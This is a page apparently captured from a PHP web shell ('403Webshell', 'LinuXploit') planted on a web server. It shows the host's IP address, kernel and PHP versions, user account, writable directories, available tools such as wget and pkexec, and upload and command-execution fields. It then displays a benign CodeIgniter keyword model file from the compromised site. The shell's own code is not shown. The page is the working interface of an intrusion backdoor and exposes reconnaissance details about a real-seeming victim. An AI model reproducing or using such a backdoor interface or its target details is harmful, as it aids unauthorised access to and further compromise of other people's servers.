403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 8.2.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/galaxynail.com/wadmin/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/galaxynail.com/wadmin/models/Keywords_model.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Keywords_model extends CI_Model
{
    function __construct()
    {
        parent::__construct();
    }
	
    function get_all($status=1,$num=30,$start=0, $arr_search)
	{
		$this->db->where('bl_active',$status);
		/*Begin search*/
		if(isset($arr_search['key_search'])&&$arr_search['key_search']!='')
		{
			if($arr_search['field_search']=='TT')
			{
				$this->db->like('keyname',$arr_search['key_search']);
			}
		}
		/*End search*/
		$this->db->order_by('keyname','asc');
		$query = $this->db->get('keywords',$num,$start);
		return $query->result();
    }
	
	function count_all($status=1,$arr_search)
	{
		$this->db->where('bl_active',$status);
		/*Begin search*/
		if(isset($arr_search['key_search'])&&$arr_search['key_search']!='')
		{
			if($arr_search['field_search']=='TT')
			{
				$this->db->like('keyname',$arr_search['key_search']);
			}
		}
		/*End search*/
		
		$query = $this->db->get('keywords');  
		return $query->num_rows();
    }
	
	function get_id($kid=0,$num=30,$start=0)
	{
		$this->db->where('kid',$kid);
     	$this->db->where('bl_active',1);
		$query = $this->db->get('keywords');   
		return $query->row();
    }
	
	function get_word($value,$field='keyname')
	{
		$this->db->where($field,$value);
		$query = $this->db->get('keywords');   
		return $query->row();
    }
	
	function save($tbl, $data, $name='', $id=0)
	{
		if($name)
		{
			$this->db->where($name, $id) ;
			if($this->db->update($tbl, $data))
				return $id ;
			else return false;
		}
		else
		{
			if($this->db->insert($tbl,$data))
				return $this->db->insert_id();
			else return false;
		}
	}
	
	function update_keywords($list_keyword='',$proid=0)
	{
		if(empty($list_keyword)) return ;
		$arr = explode(",",$list_keyword);
		
		foreach($arr as $key):
			$req['keyname'] = $key;
			$req['alias'] = alias($key);
			
		endforeach;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit